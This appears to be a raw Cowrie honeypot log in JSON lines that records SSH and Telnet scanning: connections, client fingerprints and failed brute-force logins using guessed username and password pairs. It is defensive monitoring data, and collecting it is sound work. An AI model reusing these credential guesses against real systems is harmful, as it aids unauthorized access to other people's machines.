{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":34262,"dst_ip":"10.17.0.5","dst_port":22,"session":"63610833b9e7","protocol":"ssh","message":"New connection: 95.130.227.33:34262 (10.17.0.5:22) [session: 63610833b9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:54.098321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:54.101902Z","src_ip":"95.130.227.33","session":"63610833b9e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:54.263377Z","src_ip":"95.130.227.33","session":"63610833b9e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456sf","message":"login attempt [root/123456sf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:54.937370Z","src_ip":"95.130.227.33","session":"63610833b9e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:55.013599Z","src_ip":"191.7.26.153","session":"13af47d83d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:15:56.099780Z","src_ip":"95.130.227.33","session":"63610833b9e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":51910,"dst_ip":"159.203.135.109","dst_port":22,"session":"61a005366cfe","protocol":"ssh","message":"New connection: 103.27.238.116:51910 (159.203.135.109:22) [session: 61a005366cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:08.244653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:08.251683Z","src_ip":"103.27.238.116","session":"61a005366cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:08.520129Z","src_ip":"103.27.238.116","session":"61a005366cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starwar","message":"login attempt [root/starwar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:09.326700Z","src_ip":"103.27.238.116","session":"61a005366cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:10.603065Z","src_ip":"103.27.238.116","session":"61a005366cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.99231195449829,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:12.917584Z","src_ip":"170.64.224.25","session":"85b07f7780fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":57412,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e0fe5310930","protocol":"ssh","message":"New connection: 103.27.238.120:57412 (10.17.0.5:22) [session: 2e0fe5310930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:24.499243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:24.503332Z","src_ip":"103.27.238.120","session":"2e0fe5310930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:24.781868Z","src_ip":"103.27.238.120","session":"2e0fe5310930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azert","message":"login attempt [root/azert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:25.619442Z","src_ip":"103.27.238.120","session":"2e0fe5310930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":49634,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee140cb8a002","protocol":"ssh","message":"New connection: 198.1.75.59:49634 (159.203.135.109:22) [session: ee140cb8a002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:26.114615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:26.118797Z","src_ip":"198.1.75.59","session":"ee140cb8a002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:26.207518Z","src_ip":"198.1.75.59","session":"ee140cb8a002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitcoincore","password":"bitcoin123","message":"login attempt [bitcoincore/bitcoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:26.474998Z","src_ip":"198.1.75.59","session":"ee140cb8a002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:26.902826Z","src_ip":"103.27.238.120","session":"2e0fe5310930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:27.566066Z","src_ip":"198.1.75.59","session":"ee140cb8a002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57142,"dst_ip":"159.203.135.109","dst_port":23,"session":"be1e4eb13878","protocol":"telnet","message":"New connection: 170.64.224.25:57142 (159.203.135.109:23) [session: be1e4eb13878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:28.484592Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":54552,"dst_ip":"159.203.135.109","dst_port":22,"session":"683471dfea4d","protocol":"ssh","message":"New connection: 154.16.115.34:54552 (159.203.135.109:22) [session: 683471dfea4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:31.435457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:31.439261Z","src_ip":"154.16.115.34","session":"683471dfea4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:31.467743Z","src_ip":"154.16.115.34","session":"683471dfea4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newzealand","password":"Auckland#Bitc0!n$S3cur3","message":"login attempt [newzealand/Auckland#Bitc0!n$S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:31.606660Z","src_ip":"154.16.115.34","session":"683471dfea4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:32.634347Z","src_ip":"154.16.115.34","session":"683471dfea4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":55550,"dst_ip":"159.203.135.109","dst_port":23,"session":"0715b8b9f5a3","protocol":"telnet","message":"New connection: 137.184.5.188:55550 (159.203.135.109:23) [session: 0715b8b9f5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:37.531347Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37928,"dst_ip":"159.203.135.109","dst_port":23,"session":"e56282f0357b","protocol":"telnet","message":"New connection: 170.64.224.25:37928 (159.203.135.109:23) [session: e56282f0357b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:56.292762Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37938,"dst_ip":"159.203.135.109","dst_port":23,"session":"88a312786bf4","protocol":"telnet","message":"New connection: 170.64.224.25:37938 (159.203.135.109:23) [session: 88a312786bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:16:56.899261Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49746,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a8b4e9e791f","protocol":"telnet","message":"New connection: 170.64.224.25:49746 (159.203.135.109:23) [session: 3a8b4e9e791f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:23.181663Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46682,"dst_ip":"159.203.135.109","dst_port":23,"session":"0599408fc20e","protocol":"telnet","message":"New connection: 170.64.224.25:46682 (159.203.135.109:23) [session: 0599408fc20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:31.057273Z"}
{"eventid":"cowrie.session.closed","duration":120.00204658508301,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:31.835379Z","src_ip":"170.64.224.25","session":"f292516794dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:31.918511Z","src_ip":"101.126.22.12","session":"5349f7170e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":55636,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b47454438af","protocol":"ssh","message":"New connection: 95.130.227.33:55636 (10.17.0.5:22) [session: 0b47454438af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:33.343306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:33.347143Z","src_ip":"95.130.227.33","session":"0b47454438af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:33.511435Z","src_ip":"95.130.227.33","session":"0b47454438af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx3edc$rfv","message":"login attempt [root/1qaz@wsx3edc$rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:34.202655Z","src_ip":"95.130.227.33","session":"0b47454438af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:35.369698Z","src_ip":"95.130.227.33","session":"0b47454438af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.67005491256714,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:41.962687Z","src_ip":"170.64.224.25","session":"e56282f0357b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.07718276977539,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:45.976276Z","src_ip":"170.64.224.25","session":"88a312786bf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":34944,"dst_ip":"159.203.135.109","dst_port":22,"session":"109057f726d1","protocol":"ssh","message":"New connection: 191.7.26.153:34944 (159.203.135.109:22) [session: 109057f726d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:47.807144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:47.811338Z","src_ip":"191.7.26.153","session":"109057f726d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:47.930089Z","src_ip":"191.7.26.153","session":"109057f726d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.44063138961792,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:47.971839Z","src_ip":"137.184.5.188","session":"0715b8b9f5a3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"actu","password":"actu123","message":"login attempt [actu/actu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:48.439663Z","src_ip":"191.7.26.153","session":"109057f726d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:17:49.558534Z","src_ip":"191.7.26.153","session":"109057f726d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.3762526512146,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:04.433407Z","src_ip":"170.64.224.25","session":"0599408fc20e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.14102053642273,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:05.322538Z","src_ip":"170.64.224.25","session":"3a8b4e9e791f","protocol":"telnet"}
